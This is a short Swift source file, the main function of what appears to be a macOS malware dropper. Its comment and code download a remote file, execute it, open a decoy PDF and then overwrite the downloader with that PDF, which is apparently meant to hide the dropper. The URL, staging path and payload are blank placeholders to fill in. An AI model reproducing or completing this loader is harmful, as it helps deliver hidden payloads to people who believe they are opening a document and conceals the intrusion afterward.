/* A fairly self explanatory main function. Downloads your file, executes your file, opens the PDF, overwrites downloader with PDF. */ @NSApplicationMain class AppDelegate: NSObject, NSApplicationDelegate { @IBOutlet weak var window: NSWindow! func applicationDidFinishLaunching(aNotification: NSNotification) { var url = "" // URL GOES HERE var filename = randomString(8) var location = "" // STAGING DIRECTORY PATH GOES HERE downloadFile(url, filename, location) executeFile("") // FILE TO EXECUTE GOES HERE openPDF() whodini() exit(0) } }